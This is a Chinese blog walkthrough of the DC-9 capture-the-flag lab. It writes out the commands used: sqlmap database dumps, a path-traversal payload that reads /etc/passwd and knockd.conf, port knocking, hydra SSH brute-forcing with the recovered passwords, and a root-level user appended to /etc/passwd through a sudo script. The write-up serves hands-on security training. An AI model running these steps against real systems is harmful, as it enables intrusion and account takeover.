DC-9靶机

环境准备(kali  DC-9)

信息收集  得到DC-9靶机IP  139

端口扫描  得到其开放端口和操作系统版本信息

 http服务端口进行访问

 利用wappalyzer插件查看网站框架信息

页面中存在4个选择依次点击试试

 Search项发现了蹊跷  似乎是注入漏洞   测试下回显和注入点

都没有回显  上工具呗  sqlmap跑一下  (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" --dbs)

 发现有两个库 staff和users 爆一下Staff库中的内容 (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" -D Staff --tables)

出来两个表    再来爆下表中有什么可用信息

staff表中存在一些用户名和密码 这里没有我们想要的还需要进一步

获取users表字段数据  (sqlmap -u "http://192.168.115.139/results.php" --data "search=1" -D Staff -T Users --dump)

爆出一个admin账户  这个密码用sqlmap自带的字典就可以解出来  然后使用这个用户去manage项登录

 登录管理员后台  发现页面有个提示:File does not exist显示文件不存在

猜测文件包含参数为file  通过文件包含漏洞查看/etc/passwd文件  (?file=../../../../etc/passwd)

新知识点:  参考其他大佬的文章才晓得这里用的是端口敲门:
原理简单分析:端口敲门服务  即:knockd服务  该服务通过动态的添加iptables规则来隐藏系统开启的服务 使用自定义的一系列序列号来“敲门”  使系统开启需要访问的服务端口  才能对外访问  不使用时  再使用自定义的序列号来“关门”  将端口关闭  不对外监听  进一步提升了服务和系统的安全性。

简单来说就是:知道它的自定义端口后  依次对其进行敲门  然后就可以开启ssh服务从而进行连接了  它的默认配置文件为:/etc/knockd.conf
所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号  用LFI把这个文件爆出来:

 然后安装knock工具  利用knock对获取的端口(开门密码)实现敲击  可以看到成功开启了ssh端口

关闭态的22端口

 安装

利用knock敲门

 成功敲开

 想要利用ssh服务  但需要用户名和口令  同样按照上述步骤获取users数据库的信息 (sqlmap -u 'http://192.168.115.139/results.php' --data "search=1" -D users -T UserDetails -C username,password,id --dump --batch)

 

 将用户名的口令收集起来  将username放入user.txt  将password放入pass.txt

然后利用hydra对ssh爆破 (hydra -L user.txt -P password.txt 192.168.115.139 ssh)

得到了三个账号密码:

账号:

密码:

1、chandlerb

UrAG0D!

2、joeyt

Passw0rd

3、janitor

Ilovepeepee

利用爆破出来有3个用户可用  通过ssh登录三个账号进行登录  janitor用户  (ssh janitor@192.168.115.139)

进行信息收集  发现了一个新的口令文件

 再次利用hydra进行爆破

 又得到了一组用户账号和密码(fredf  B4-Tru3-001)

登录(ssh fredf@192.168.115.139(B4-Tru3-001))

 查看有没有可以进行sudo本地提权的地方  (sudo -l)

在这里我们可以看到  这个用户可以sudo使用root权限在运行一个test程序  而且不需要密码  然后我们先进去这个保存文件测试的位置看一下这是个什么程序

 找到了一个test.py文件  打开看看

 是一个python脚本  目的拥有root权限  我们可以构造一个拥有root权限的用户 并在/etc/passwd文件中储存  只要使用这个用户登录  就可以获取到root权限 
回到kali使用openssl工具先创建一个本地的加密用户  (openssl passwd -1 -salt admin 111111   -1 #使用md5加密算法  -salt #自动锚入一个随机参数作为文件内容加密)

然后回到靶机中  回到程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义) 再使用sudo用那个test程序来运行这个文件  随后切换成我们添加的这个用户  输入自己设定的密码就可以成功提权到root用户了   最后进入root目录下查看flag即可

(echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa
sudo ./test /tmp/aaa /etc/passwd
su admin
cd /root
cat theflag.txt)

小结:

A:  wappalyzer

B:SQL注入 sqlmap
C:  文件包含漏洞
D:  端口敲门服务(knockd服务)
E:  sudo本地提权

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值